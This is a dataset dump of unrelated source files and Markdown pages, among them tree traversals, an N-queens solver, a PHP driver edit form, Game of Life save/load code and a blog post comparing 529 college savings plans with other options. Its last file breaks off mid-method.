language
stringclasses
15 values
src_encoding
stringclasses
34 values
length_bytes
int64
6
7.85M
score
float64
1.5
5.69
int_score
int64
2
5
detected_licenses
listlengths
0
160
license_type
stringclasses
2 values
text
stringlengths
9
7.85M
JavaScript
UTF-8
694
2.9375
3
[]
no_license
function subjectFactory() { return new Rx.Subject(); } var result = Rx.Observable.interval(1000).take(6) .do(x => console.log('source ' + x) || displayInPreview('source ' + x)) .map(x => Math.random()) .multicast(subjectFactory, function selector(shared) { var sharedDelayed = shared.delay(500); var merged = shared.merge(sharedDelayed); return merged; }); var sub = result.subscribe(x => console.log(x) || displayInPreview(x)); // display in plunker preview function displayInPreview(string) { var newDiv = document.createElement("div"); var newContent = document.createTextNode(string); newDiv.appendChild(newContent); document.body.appendChild(newDiv) }
Java
UTF-8
6,161
4.15625
4
[]
no_license
package collectionTest; import java.util.Arrays; import java.util.LinkedList; import java.util.List; /** * 功能:把一个数组的值存入二叉树中,然后进行3种方式的遍历 * * 参考资料0:数据结构(C语言版)严蔚敏 * * 参考资料1:http://zhidao.baidu.com/question/81938912.html * * 参考资料2:http://cslibrary.stanford.edu/110/BinaryTrees.html#java * * @author ocaicai@yeah.net @date: 2011-5-17 * */ public class BinTreeTraverse2 { private int[] array = { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; private static List<Node> nodeList = null; /** * 内部类:节点 * * @author ocaicai@yeah.net @date: 2011-5-17 * */ private static class Node { Node leftChild; Node rightChild; int data; Node(int newData) { leftChild = null; rightChild = null; data = newData; } } public void createBinTree() { nodeList = new LinkedList<Node>(); // 将一个数组的值依次转换为Node节点 for (int nodeIndex = 0; nodeIndex < array.length; nodeIndex++) { nodeList.add(new Node(array[nodeIndex])); } // 对前lastParentIndex-1个父节点按照父节点与孩子节点的数字关系建立二叉树 for (int parentIndex = 0; parentIndex < array.length / 2 - 1; parentIndex++) { // 左孩子 nodeList.get(parentIndex).leftChild = nodeList .get(parentIndex * 2 + 1); // 右孩子 nodeList.get(parentIndex).rightChild = nodeList .get(parentIndex * 2 + 2); } // 最后一个父节点:因为最后一个父节点可能没有右孩子,所以单独拿出来处理 int lastParentIndex = array.length / 2 - 1; // 左孩子 nodeList.get(lastParentIndex).leftChild = nodeList .get(lastParentIndex * 2 + 1); // 右孩子,如果数组的长度为奇数才建立右孩子 if (array.length % 2 == 1) { nodeList.get(lastParentIndex).rightChild = nodeList .get(lastParentIndex * 2 + 2); } } /** * 先序遍历 * * 这三种不同的遍历结构都是一样的,只是先后顺序不一样而已 * * @param node * 遍历的节点 */ public static void preOrderTraverse(Node node) { if (node == null) return; System.out.print(node.data + " "); preOrderTraverse(node.leftChild); preOrderTraverse(node.rightChild); } /** * 中序遍历 * * 这三种不同的遍历结构都是一样的,只是先后顺序不一样而已 * * @param node * 遍历的节点 */ public static void inOrderTraverse(Node node) { if (node == null) return; inOrderTraverse(node.leftChild); System.out.print(node.data + " "); inOrderTraverse(node.rightChild); } /** * 后序遍历 * * 这三种不同的遍历结构都是一样的,只是先后顺序不一样而已 * * @param node * 遍历的节点 */ public static void postOrderTraverse(Node node) { if (node == null) return; postOrderTraverse(node.leftChild); postOrderTraverse(node.rightChild); System.out.print(node.data + " "); } public static void main(String[] args) { BinTreeTraverse2 binTree = new BinTreeTraverse2(); binTree.createBinTree(); // nodeList中第0个索引处的值即为根节点 Node root = nodeList.get(0); System.out.println("先序遍历:"); preOrderTraverse(root); System.out.println(); System.out.println("中序遍历:"); inOrderTraverse(root); System.out.println(); System.out.println("后序遍历:"); postOrderTraverse(root); } } /* @SuppressWarnings("rawtypes") class BinaryTree2 { private class Node{ private Comparable data; //排序的依据 private Node left; private Node right; public Node( Comparable data){ this.data = data; } @SuppressWarnings("unchecked") public void addNode(Node node){ if(this.data.compareTo(node) > 0){ if(this.left == null){ this.left = node; }else{ this.left.addNode(node); } }else{ if(this.right == null){ this.right = node; }else{ this.right.addNode(node); } } } public void toArrayNode(){ if(this.left != null){ this.left.toArrayNode(); } BinaryTree2.this.retData[BinaryTree2.this.foot++] = this.data; if(this.right != null){ this.right.toArrayNode(); } } } private Node root; private int count; private Object[] retData; private int foot; public void add(Object obj){ Comparable com = (Comparable)obj; Node newNode = new Node(com); if(this.root == null){ this.root = newNode; }else{ this.root.addNode(newNode); } this.count++; } public Object[] toArray(){ if(this.root == null){ return null; } this.foot = 0; this.retData = new Object[this.count]; this.root.toArrayNode(); return this.retData; } } public class BinaryTree{ public static void main(String[] args) { BinaryTree2 bTree = new BinaryTree2(); bTree.add(100); bTree.add(90); bTree.add(80); bTree.add(95); bTree.add(120); bTree.add(110); bTree.add(new Book2("Java", 50)); bTree.add(new Book2("C", 40)); bTree.add(new Book2("J2ee",60)); bTree.add(new Book2("php", 35)); bTree.add(new Book2("C++", 45)); Object[] object = bTree.toArray(); System.out.println(Arrays.toString(object)); } } class Book2 implements Comparable<Book2>{ private String name; private double price; public Book2(String name, double price){ this.name = name; this.price = price; } @Override public String toString() { return "name:"+name+",price:"+price; } @Override public boolean equals(Object obj) { if(this == obj){ return true; } if(obj == null){ return false; } if (obj instanceof Book) { Book2 book = (Book2)obj; if(book.name==name&&book.price==price) return true; } return false; } @Override public int compareTo(Book2 o) { if(this.price > o.price){ return 1; }else if(this.price < o.price){ return -1; }else{ return 0; } } }*/
C++
UTF-8
606
3.484375
3
[]
no_license
#include <iostream> using namespace std; int sumDigitSquare(int n) { int steps = 0; while (1) { if (n == 1) return ++steps; int sum = 0; while (n) { int digit = n % 10; sum += digit * digit; n = n / 10; } steps++; n = sum; if (sum == 4) break; } return 0; } int main() { int counter, min, max, stepCount; cout << "Enter range: "; cin >> min >> max; for (counter = min; counter <= max; counter++) { stepCount = sumDigitSquare(counter); if (stepCount != 0) { cout << counter << " " << stepCount << endl; } } return 0; }
Markdown
UTF-8
11,947
2.875
3
[]
no_license
--- categories: [] date: "2020-07-31T04:00:00+00:00" featured_image: /v1596229458/library-869061_1920_jkaxzj.jpg hero_text: "" keywords: [] profile: [] tags: [] title: 529 Plans vs. Other College Savings Options --- Section 529 plans can be a great way to save for college. In many cases, it is the best way for families and individuals to save for a student’s college expenses. However, it is not the only way. When you're investing in a major [goal like education](https://navalign.com/updates/4-financial-priorities-young-families-should-address/), it makes sense to get familiar with all of your saving options. ## U.S. savings bonds U.S. savings bonds are backed by the full faith and credit of the federal government. They're easy to purchase and are available in face values as low as $50, or $25 if purchased electronically. There are two types of savings bonds: [Series EE, or Patriot bonds, and Series I bonds.](https://www.treasurydirect.gov/indiv/research/indepth/ebonds/res_e_bonds_eecomparison.htm) Both are popular college savings vehicles. Not only is the interest earned on them exempt from state and local tax at the time you redeem or cash in the bonds, but you may be able to exclude at least some of the interest from federal income tax as long as you’re eligible. A 529 plan, which includes both college savings plans and prepaid tuition plans, may be a more attractive way to save for college. A college savings plan invests primarily in stocks through one or more pre-established investment portfolios that you generally choose upon joining the plan. So, a college savings plan has a greater return potential than U.S. savings bonds because stocks have historically averaged greater returns than bonds. While this has historically been true, it is important to note that past performance is no guarantee of future results. However, there is a greater risk of loss of principal with a college savings plan: your rate of return is not guaranteed. This means that you could even lose some of your original contributions. By contrast, a prepaid tuition plan generally guarantees an annual rate of return in the same range as U.S. savings bonds. In some cases, a prepaid tuition plan can even be higher than savings bonds, depending on the rate of college inflation. Perhaps, the best advantage of 529 plans is the federal income tax treatment of withdrawals used to pay qualified education expenses. These withdrawals are completely free from federal income tax no matter what your income and some states also provide state income tax benefits. The income tax exclusion for Series EE and Series I savings bonds is gradually phased out for couples who [file a joint return](https://navalign.com/updates/to-file-jointly-or-not-to-file-jointly-that-s-the-question/). However, keep in mind that if you use the money in your 529 account for anything other than qualified education expenses, you will owe a federal penalty tax on the earnings portion of the funds you've withdrawn. In some cases, you may owe state income taxes on the earnings portion of your withdrawal as well. It is also important to note that there are typically fees and expenses associated with 529 plans. College savings plans may charge an annual maintenance fee, an administrative fee, and an investment fee based on a percentage of total account assets, while prepaid tuition plans typically charge an enrollment fee and various administrative fees. ## Mutual funds At one time, mutual funds were more widely used for college savings than 529 plans. Mutual funds do not impose any restrictions or penalties if you need to sell your shares before [your child is ready](https://navalign.com/updates/how-to-help-your-kids-become-money-masters/) for college. Mutual funds also let you maintain more control over your investment decisions. For example, you can choose from a wide range of funds, move money among a company's funds or from one family of funds to another, and make other decisions as you see fit. By contrast, you can't choose your investments with a prepaid tuition plan. With a college savings plan, you may be able to choose your investment portfolio at the time you join the plan, but your ability to make subsequent investment changes is limited. Some plans may let you direct future contributions to a new investment portfolio, but it may be more difficult to redirect your existing contributions. However, states have the discretion to allow you to change the investment option for your existing contributions once per calendar year or when you change the beneficiary. Check the rules of your plan for more details. In the area of taxes, 529 plans trump mutual funds. There are no annual federal income taxes on the earnings within a 529 plan. Any withdrawals that you use to pay qualified higher-education expenses will not be taxed on your federal income tax return. However, if you withdraw any of the funds for noneducational expenses, you'll owe income taxes on the earnings portion of the withdrawal, as well as a 10 percent federal penalty. Tax-sheltered growth and tax-free withdrawals can be compelling reasons to invest in a 529 plan. In many cases, these tax features will outweigh the benefits of mutual funds. This is especially true when you consider how far taxes can cut into your mutual fund returns. You'll pay income tax every year on the income earned by your fund, even if that income is reinvested. When you sell your mutual fund shares, you'll also pay capital gains tax on any gain in the value of your fund. ## Traditional and Roth IRAs Traditional Retirement Accounts, [(IRAs) and Roth IRAs](https://navalign.com/updates/traditional-vs-roth-ira-which-one-is-right-for-you/), are retirement savings vehicles. However, because withdrawals for qualified higher education expenses are exempt from the 10 percent premature distribution tax, also called the early withdrawal penalty, that generally applies to withdrawals made before age 59½, some parents may decide to save for college within their IRAs. To be exempt from the premature distribution tax, any money you withdraw from your IRA must be used to pay the qualified higher education expenses of you or your spouse or the children or grandchildren of you or your spouse. However, even if you're exempt from the 10 percent premature distribution tax, some or all of the IRA money you withdraw may still be subject to federal income tax. Depending on what state you live in, it could also be subject to state income tax. Also, any withdrawals for college expenses will reduce your retirement nest egg, so you may want to think carefully before tapping your retirement funds to pay for your child’s education. ## Custodial accounts A custodial account holds assets in your child's name. A custodian can be a parent, guardian, or other trusted individual. They will be responsible for managing the account and investing the money for your child until they are no longer a minor. It is important to note that a minor may be either 18 or 21 years old depending which state you live in. At that point, the account terminates, and your child has complete control over the funds. Many college-age children can handle this responsibility, but there is still a risk that your child might not use the money for college. If you have a 529 instead of a custodial account, you do not have to worry about the risk of your college-age child misusing the money in their fund. This is because you will be able to decide when to withdraw the funds and for what purpose. A custodial account is not a tax-deferred account. The investment earnings on the account will be taxed to your child each year. Under special rules commonly referred to as the "kiddie tax" rules, children are generally taxed at their parents’ presumably higher tax rate on any unearned income over a specified amount. This amount is currently $2,200 according to [the IRS](https://www.irs.gov/taxtopics/tc553). The kiddie tax rules apply to those under age 18, those age 18 whose earned income doesn't exceed one-half of their support, and those ages 19 to 23 who are full-time students and whose earned income doesn't exceed one-half of their support. The kiddie tax rules significantly reduce the tax-savings potential of custodial accounts as a college savings strategy. Remember that earnings from a 529 plan will escape federal income tax altogether if used for qualified higher education expenses. The state where you live may also exempt the earnings from state tax. A custodial account might appeal to you for some of the same reasons as regular mutual funds. Though the funds must be used for your child's benefit, custodial accounts don't impose penalties or restrictions on using the funds for noneducational expenses. Also, your investment choices are virtually unlimited (e.g., stocks, mutual funds, real estate), allowing you to be as aggressive or conservative as you wish. As discussed, 529 plans don't offer this degree of flexibility. It is also important to note that custodial accounts are established under either the Uniform Transfers to Minors Act (UTMA) or the Uniform Gifts to Minors Act (UGMA). The two are similar in most ways, though a UTMA account can stay open longer and can hold certain assets that a UGMA account can't. Finally, there is the issue of fees and expenses. Depending on the financial institution, you may not have to pay a fee to open or maintain a custodial account. You can typically count on incurring at least some type of fee with a 529 plan. College savings plans may charge an annual maintenance fee, an administrative fee, and an investment fee based on a percentage of total account assets, while prepaid tuition plans typically charge an enrollment fee and various administrative fees. ## Trusts Though[ trusts](https://navalign.com/updates/trust-basics-what-you-need-to-know-about-creating-a-trust/) can be relatively expensive to establish, there are two types you may want to investigate further: · **Irrevocable trusts:** You can set up an irrevocable trust to hold assets for your child's future education. This type of trust lets you exercise control over the assets through the trust agreement. However, trusts can be costly and complicated to set up, and any income retained in the trust is taxed to the trust itself at a potentially high rate. Also, transferring assets to the trust may have negative gift tax consequences. A 529 plan avoids these drawbacks but still gives you some control. · **2503 trusts:** Two types of trusts can be established under Section 2503 of the Tax Code: the 2503c "minor's trust" and the 2503b "income trust". The specific features and tax consequences vary depending on the type of trust that is used, and there are myriad details that should be discussed with a financial advisor. Either type of trust is much more costly and complicated to establish and maintain than a 529 plan. In most cases, a 529 plan is a better way to save for college. ## The Bottom Line Investors should consider the investment objectives, risks, and expenses associated with 529 plans before investing. Additionally, it is important to understand why a 529 is typically the soundest way to save for your child’s education. If you have questions about your current 529 plan, more information about specific 529 plans is available in the issuer's official statement, which should also be read carefully before investing. Finally, you should evaluate your state’s laws regarding 529 accounts. Some states have 529 plans that provide favorable tax benefits. If you need additional guidance in making a college savings decision, be sure to [reach out to our team of financial professionals](https://navalign.com/what-we-do/fiduciary-financial-planning/) at Navalign. We are uniquely positioned to help you plan for your financial goals including educational saving, retirement, and more.
Python
UTF-8
1,579
3.953125
4
[]
no_license
data = [] count = 0 with open('reviews.txt','r') as f: for line in f: data.append(line.strip()) #print(line) count += 1 # count = count + 1 if count % 1000 == 0: # %求餘數 (除以 1000 餘數為 0) print(len(data)) print('檔案讀取完了, 總共有',len(data), '筆資料') sum_len = 0 for d in data: sum_len = sum_len + len(d) print('留言平均長度為', sum_len/len(data)) new = [] for d in data: if len(d) < 100: new.append(d) print('一共有', len(new), '筆留言長度小於 100') print(new[0]) print(new[1]) good =[] for d in data: if 'good' in d: good.append(d) # List comprehension # good = [d for d in data if 'good' in d] # 等同於上面程式碼 print('一共有', len(good), '筆留言包含 good') #print(good[0]) #print(good[1]) good =[] for d in data: if 'good' in d: good.append(1) # 裝進一堆 1 good = [1 for d in data if 'good' in d] # 等同於上面程式碼 bad = ['bad' in d for d in data] print(bad) bad =[] for d in data: bad.append('bad' in d) # 等同於上面程式碼 #文字記數# wc = {} #word_count for d in data: words = d.split() #split 預設值是空白鍵 for word in words: if word in wc: wc[word] += 1 else: wc[word] =1 #新增新字進入 wc 字典 # for word in wc: # if wc[word] > 1000: # print(word, wc[word]) print(len(wc)) print(wc['Austin']) while True: word = input('請問你想查什麼字: ') if word =='q': break if word in wc: print(word, '出現過的是數為:', wc[word]) else: print('這個字沒有出現過喔!') print('感謝使用本功能')
C
UTF-8
3,600
3.5
4
[]
no_license
#include <stdio.h> #include <math.h> #include <stdlib.h> #include <time.h> #define FALSE 0 #define TRUE 1 int x[20];//column where queens must be placed int place(int k, int i) { int j; for (j = 1; j <= k; j++) { if ((x[j] == i) || (abs(x[j] - i) == abs(j - k))) return FALSE; } return TRUE; } void nqueens(int k, int n)//k is starting col { int i, a; for (i = 1; i <= n; i++) { if (place(k, i))//kth queen in ith col. Also queen no = row no anyways { x[k] = i; if (k == n) { for (a = 1; a <= n; a++) printf("%d\t", x[a]); printf("\n"); } else nqueens(k + 1, n); } } } void main() { int n; double clk; clock_t starttime, endtime; printf("\nEnter the number of queens:"); scanf("%d", &n); printf("\n The solution to N Queens problem is: \n"); starttime = clock(); nqueens(1, n); endtime = clock(); clk = (double)(endtime - starttime) / CLOCKS_PER_SEC; printf("The time taken is %f\n", clk); } // #define N 4 // #include <stdbool.h> // #include <stdio.h> // /* A utility function to print solution */ // void printSolution(int board[N][N]) // { // for (int i = 0; i < N; i++) { // for (int j = 0; j < N; j++) // printf(" %d ", board[i][j]); // printf("\n"); // } // } // bool isSafe(int board[N][N], int row, int col) // { // int i, j; // /* Check this row on left side */ // for (i = 0; i < col; i++) // if (board[row][i]) // return false; // /* Check upper diagonal on left side */ // for (i = row, j = col; i >= 0 && j >= 0; i--, j--) // if (board[i][j]) // return false; // /* Check lower diagonal on left side */ // for (i = row, j = col; j >= 0 && i < N; i++, j--) // if (board[i][j]) // return false; // return true; // } // /* A recursive utility function to solve N // Queen problem */ // bool solveNQUtil(int board[N][N], int col) // { // /* base case: If all queens are placed // then return true */ // if (col >= N) // return true; // /* Consider this column and try placing // this queen in all rows one by one */ // for (int i = 0; i < N; i++) { // /* Check if the queen can be placed on // board[i][col] */ // if (isSafe(board, i, col)) { // /* Place this queen in board[i][col] */ // board[i][col] = 1; // /* recur to place rest of the queens */ // if (solveNQUtil(board, col + 1)) // return true; // /* If placing queen in board[i][col] // doesn't lead to a solution, then // remove queen from board[i][col] */ // board[i][col] = 0; // BACKTRACK // } // } // /* If the queen cannot be placed in any row in // this colum col then return false */ // return false; // } // bool solveNQ() // { // int board[N][N] = { { 0, 0, 0, 0 }, // { 0, 0, 0, 0 }, // { 0, 0, 0, 0 }, // { 0, 0, 0, 0 } }; // if (solveNQUtil(board, 0) == false) { // printf("Solution does not exist"); // return false; // } // printSolution(board); // return true; // } // // driver program to test above function // int main() // { // solveNQ(); // return 0; // }
TypeScript
UTF-8
985
2.953125
3
[]
no_license
/** * Created by PhpStorm. * Author: Max Ulyanov * Project: Design-Patterns * Date: 16.03.2017 * Time: 23:14 */ 'use strict'; import { IPayment } from './IPayment' export class BankAccount implements IPayment { cards: IPayment[]; sum: number; /** * * @param sum */ constructor(sum) { this.cards = []; this.sum = sum; } /** * * @param card */ public addCard(card: IPayment): void { this.cards.push(card); } /** * * @returns {IPayment[]} */ public getCardsList():IPayment[] { return this.cards; } /** * * @param value * @returns {boolean} */ public makeTransaction(value): boolean { if(value + this.sum >= 0) { this.sum += value; return true; } return false; } /** * * @returns {number} */ public getSum(): number { return this.sum; } }
Markdown
UTF-8
598
2.671875
3
[]
no_license
# Chemventory Chemventory is a database software aimed at assisting science departments in keeping track of their apparatus and chemicals. It has an easy-to-use interface with a database entry system that allows you to add: Product ID, Product name, Product category, Product description, Purchasing date, Expiry date, Quantity, Safety notes, General notes, Product usage, and Department. The program's purpose is to keep stock organized, and make the 'inventorying' task easier by notifying the user of low stock and soon-to-be expired products. Demo: ![Chemventory Demo](chemventorydemo.gif)
Java
UTF-8
726
2.34375
2
[ "Apache-2.0" ]
permissive
package cn.regionsoft.one.data.persistence.criteria; /** * 查询条件 * @author fenglj * */ public class Condition { private String fieldName; private Operator operator; private Object val; public Condition( String fieldName, Operator operator, Object val) { super(); this.fieldName = fieldName; this.operator = operator; this.val = val; } public String getFieldName() { return fieldName; } public void setFieldName(String fieldName) { this.fieldName = fieldName; } public Operator getOperator() { return operator; } public void setOperator(Operator operator) { this.operator = operator; } public Object getVal() { return val; } public void setVal(Object val) { this.val = val; } }
JavaScript
UTF-8
665
2.640625
3
[]
no_license
(function() { $(function () { var panelTemplate; var url = 'api/cotizaciones' console.log(url); $.get('template/panel.html',function(dom){ panelTemplate = dom; }); $.get(url) .done(function(data) { for(var i=0;i<data.length;i++){ var panel = $(panelTemplate); var cotizacion = data[i]; panel.find('#moneda').append(cotizacion.moneda); panel.find('#venta').append(cotizacion.venta); panel.find('#compra').append(cotizacion.compra); $('#principal').append(panel); } }) .fail(function() { alert('Error de Ajax'); }) }); })();
Java
UTF-8
3,094
2.53125
3
[]
no_license
package viki.programming.saveload; import java.io.File; import java.io.FileNotFoundException; import java.io.FilenameFilter; import java.io.PrintStream; import java.util.Scanner; import viki.programming.gameoflife.*; public class SaveLoadFromTextFile implements SaveLoadInterface { private GameSimulator model; private GameInterface view; private String fileName; public SaveLoadFromTextFile(GameSimulator model, GameInterface view) { this.model = model; this.view = view; } @Override public void save(GameSimulator model) { PrintStream fileWriter = null; if (!fileName.equals(".txt")) { try { fileWriter = new PrintStream(new File(fileName)); fileWriter.println(model.getRows() + " " + model.getCols()); printInFile(fileWriter); } catch (FileNotFoundException e) { e.printStackTrace(); System.out.println("File is not found!"); } catch (NullPointerException e) { e.printStackTrace(); System.out.println("Unsupported encoding!"); } finally { if (fileWriter != null) { fileWriter.close(); } } } } private void printInFile(PrintStream fileWriter) { for (int i = 0; i < model.getRows(); i++) { for (int j = 0; j < model.getCols(); j++) { fileWriter.print(((model.getAlive(i, j)) ? "*" : "-") + " "); } fileWriter.println(); } } @Override public GameSimulator load(String fileName) { int lineNumber = 0; Scanner fileReader = null; model.setAllFalse(); try { fileReader = new Scanner(new File(fileName)); while (fileReader.hasNextLine()) { String line = fileReader.nextLine(); String[] splits = line.split(" "); fillTheModel(lineNumber, splits); lineNumber++; } } catch (FileNotFoundException e) { e.printStackTrace(); } finally { fileReader.close(); } return model; } public void fillTheModel(int lineNumber, String[] splits) { if(lineNumber == 0) { model = new GameSimulator(Integer.parseInt(splits[0]), Integer.parseInt(splits[1])); } else { for (int i = 0; i < model.getCols(); i++) { boolean tmp = (splits[i].equals("*")) ? true : false; model.setAlive(lineNumber-1, i, tmp); } } } public String[] getAllFiles() { File dir = new File(System.getProperty("user.dir")); File[] txtFiles = dir.listFiles(new FilenameFilter() { public boolean accept(File dir, String name) { return name.endsWith(".txt"); } }); String[] titles = new String[txtFiles.length]; titles = getTitles(txtFiles, titles); return titles; } private String[] getTitles(File[] txtFiles, String[] titles) { for (int i = 0; i < txtFiles.length; i++) { try { titles[i] = txtFiles[i].getName(); titles[i] = titles[i].substring(0, titles[i].length() - 4); } catch(NullPointerException e) { //Not going to happen } } return titles; } public void setFileName() { fileName = view.inputFromSaveDialog() + ".txt"; } public String setFileExtention(String fileName) { return (fileName = fileName + ".txt"); } }
Markdown
UTF-8
870
2.71875
3
[ "MIT" ]
permissive
--- title: 함수형 프로그래밍 no.01 categories: [programming, functional-programming] tags: [functional-programming, programming] # TAG names should always be lowercase --- # 어플리케이션의 설계 요소 * 확장성: 추가 기능을 지원하기 위해 계속 코드를 리팩토링해야 하는가? * 모듈화 용이성: 파일 하나를 고치면 다른 파일도 영향을 받는가? * 재사용성: 중복이 많은가? * 테스트성: 함수를 단위 테스트하기 어려운가? * 헤아리기 쉬움: 체계도 없고 따라가기 어려운 코드인가? 위 목록 중 한가지라도 '예' 또는 '잘 모르겠습니다.' 라는 대답이 나온다면 함수형 프로그래밍(FP)를 공부해보시길... # 함수형 프로그래밍의 기본 개념 - 선언적 프로그래밍 - 순수 함수 - 참조 투명성 - 불변성
Markdown
UTF-8
1,227
4.09375
4
[]
no_license
## 布尔操作符 Javascript中布尔操作符非`!`、与`&&`、或`||`,可以应用于Javascript中的任何值。 ### 逻辑非 逻辑非操作符首先会将它的操作数转换为一个布尔值,然后再对其求反并返回。在将操作数转换为布尔值的过程同`Boolean()`函数相同,因此只需 记住其中会被转换为`true`值的规则(其他情况下均为`false`),如下: |操作数|返回值| |:-|:-| |空字符串|true| |0 或 -0|true| |NaN|true| |null|true| |undefined|true| > 小技巧:将任意值(`value`)转换为bool类型 => `!!value` ### 逻辑与 逻辑与操作是二元操作符,属于短路操作,首先会将第一个操作数转换为一个布尔值,若转换后为假则返回第一个操作数的值,若其值为真则返回第二个操作数的值。 ```js true && (+'abc') // NaN 1 && 23 // 23 (+'abc') && 23 // NaN 1 && a // error => a 未声明无法求值 ``` ### 逻辑或 逻辑或操作是二元操作符,与逻辑与操作符相似,逻辑或操作符也是短路操作符。首先会将第一个操作数转换为一个布尔值,若转换后为真则返回第一个操作数的值,若其值为假则返回第二个操作数的值。
PHP
UTF-8
2,638
2.6875
3
[]
no_license
<!doctype html> <html> <head> <title>Edit Form</title> <link rel="stylesheet" href="style12.css"> </head> <body style="background-color:lightgrey"> <p> <h1><u>Edit Driver</u></h1> </p> <?php $conn = new mysqli('127.0.0.1', 'root', '', 'brt'); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } if (isset($_POST['driver_id'])){ $driver_id = $_POST['driver_id']; } $sql="SELECT * FROM driver WHERE driver_id ='$driver_id'"; $result= mysqli_query($conn,$sql); $rows = mysqli_num_rows($result); $record = mysqli_fetch_array($result); echo $record[0]; echo " "; echo $record[1]; echo " "; echo $record[2]; echo " "; echo $record[3]; echo " "; echo $record[4]; echo " "; mysqli_close($conn); ?> <form action="driveredit.php" method="Post" enctype="multipart/form-data"> <table> <tr> <td>Driver ID</td> <td><input type="int" value="<?php echo $record[0]; ?>" name="driver_id" required></td> </tr> <tr> <td>Bus ID</td> <td><input type="int" value="<?php echo $record[1]; ?>" name="bus_id" required></td> </tr> <tr> <td>Surname</td><td> <input type="text" value="<?php echo $record[2]; ?>" name="surname" required></td> </tr> <tr> <td>First Name</td> <td><input type="text" value="<?php echo $record[3]; ?>" name="firstname" required></td> </tr> <tr> <td>Second Name</td> <td><input type="int" value="<?php echo $record[4]; ?>" name="secondname" required></td> </tr> <tr> <td>Phone Number</td> <td><input type="int" value="<?php echo $record[4]; ?>" name="phonenumber" required></td> </tr> <tr> <td>Address</td> <td><input type="varchar" value="<?php echo $record[4]; ?>" name="address" required></td> </tr> <tr> <td>Shift Time</td> <td><input type="time" value="<?php echo $record[4]; ?>" name="shift_time" required></td> </tr> <tr> <td>Date of Joining</td> <td><input type="date" value="<?php echo $record[4]; ?>" name="date_of_joining" required></td> </tr> <tr><td></td><td><input type="submit" value="Update" name="Send" ></td></tr> <tr><td></td><td><a href="drivereditrequest.php"><input type="button" id="back_btn" value="Back"/></a></td></tr> </table> </form> </body> </html>
Java
UTF-8
421
2.109375
2
[]
no_license
package com.kele.springboot_docker.entity; import lombok.Data; import javax.persistence.*; import java.util.Date; /** * @Version 2019 * @Author:kele * @Date:2020/7/2 * @Content: */ @Data @Entity @Table(name = "user") public class User { @Id //这是一个主键 @GeneratedValue(strategy = GenerationType.IDENTITY)//自增主键 private Integer id; private String name; private Date birth; }
C#
UTF-8
1,444
3.4375
3
[ "MIT" ]
permissive
using System; using System.Collections.Generic; using System.Linq; namespace AdvertisementMessage { class Program { static void Main(string[] args) { string[] phrases = new string[] {"Excellent product.", "Such a great product.", "I always use that product." ,"Best product of its category.", "Exceptional product.", " I can’t live without this product." }; string[] events = new string[] {"Now i feel good.", "I have succeeded with this product", "Makes miracles. I am happy of the results!", "I cannot believe but now I feel awesome.", "Try it yourself, I am very satisfied.", "I feel great!"}; string[] authors = new string[] {"Diana", "Petya", "Stella", "Elena", "Katya", "Iva", "Annie", "Eva"}; string[] cities = new string[] {"Burgas", "Sofia", "Plovdiv", "Varna", "Ruse"}; int countOfMessagesToPrint = int.Parse(Console.ReadLine()); for (int i = 0; i < countOfMessagesToPrint; i++) { Console.WriteLine($"{phrases[Random(phrases)]} {events[Random(events)]}" + $" {authors[Random(authors)]} - {cities[Random(cities)]}"); } } public static int Random (string[] input) { Random random = new Random(); return random.Next(0, input.Length); } } }
Python
UTF-8
734
3.3125
3
[]
no_license
filename = "/home/xmbomb/dev/aoc2020/day3/input.txt" with open(filename, 'r') as file: data = file.read().split('\n') def part1(data, right_amount, down_amount): lines, line_length = len(data), len(data[0]) char_index = 0 trees = 0 for i in range(0, lines, down_amount): if data[i][char_index] == '#': trees += 1 char_index = (char_index+right_amount) % line_length return trees def part2(data): trees = 1 for right_amount, down_amount in [(1, 1), (3, 1), (5, 1), (7, 1), (1, 2)]: trees *= part1(data, right_amount, down_amount) return trees print(f'Answer for part 1: {part1(data, 3, 1)}') # 270 print(f'Answer for part 2: {part2(data)}') # 2122848000
Java
UTF-8
5,317
2.265625
2
[ "Apache-2.0" ]
permissive
/* * */ package com.example.smoke; import android.support.annotation.NonNull; import android.support.annotation.Nullable; import com.example.NativeBase; import java.util.List; import java.util.Map; public final class Nullable extends NativeBase { public enum SomeEnum { ON(0), OFF(1); public final int value; SomeEnum(final int value) { this.value = value; } } public static final class SomeStruct { @NonNull public String stringField; public SomeStruct(@NonNull final String stringField) { this.stringField = stringField; } } public static final class NullableStruct { @Nullable public String stringField; @Nullable public Boolean boolField; @Nullable public Double doubleField; @Nullable public Nullable.SomeStruct structField; @Nullable public Nullable.SomeEnum enumField; @Nullable public List<String> arrayField; @Nullable public List<String> inlineArrayField; @Nullable public Map<Long, String> mapField; @Nullable public SomeInterface instanceField; public NullableStruct() { this.stringField = null; this.boolField = null; this.doubleField = null; this.structField = null; this.enumField = null; this.arrayField = null; this.inlineArrayField = null; this.mapField = null; this.instanceField = null; } } public static final class NullableIntsStruct { @Nullable public Byte int8Field; @Nullable public Short int16Field; @Nullable public Integer int32Field; @Nullable public Long int64Field; @Nullable public Short uint8Field; @Nullable public Integer uint16Field; @Nullable public Long uint32Field; @Nullable public Long uint64Field; public NullableIntsStruct() { this.int8Field = null; this.int16Field = null; this.int32Field = null; this.int64Field = null; this.uint8Field = null; this.uint16Field = null; this.uint32Field = null; this.uint64Field = null; } } /** * For internal use only. * @hidden * @param nativeHandle The SDK nativeHandle instance. * @param dummy The SDK dummy instance. */ protected Nullable(final long nativeHandle, final Object dummy) { super(nativeHandle, new Disposer() { @Override public void disposeNative(long handle) { disposeNativeHandle(handle); } }); } private static native void disposeNativeHandle(long nativeHandle); @Nullable public native String methodWithString(@Nullable final String input); @Nullable public native Boolean methodWithBoolean(@Nullable final Boolean input); @Nullable public native Double methodWithDouble(@Nullable final Double input); @Nullable public native Long methodWithInt(@Nullable final Long input); @Nullable public native Nullable.SomeStruct methodWithSomeStruct(@Nullable final Nullable.SomeStruct input); @Nullable public native Nullable.SomeEnum methodWithSomeEnum(@Nullable final Nullable.SomeEnum input); @Nullable public native List<String> methodWithSomeArray(@Nullable final List<String> input); @Nullable public native List<String> methodWithInlineArray(@Nullable final List<String> input); @Nullable public native Map<Long, String> methodWithSomeMap(@Nullable final Map<Long, String> input); @Nullable public native SomeInterface methodWithInstance(@Nullable final SomeInterface input); @Nullable public native String getStringProperty(); public native void setStringProperty(@Nullable final String value); @Nullable public native Boolean isBoolProperty(); public native void setBoolProperty(@Nullable final Boolean value); @Nullable public native Double getDoubleProperty(); public native void setDoubleProperty(@Nullable 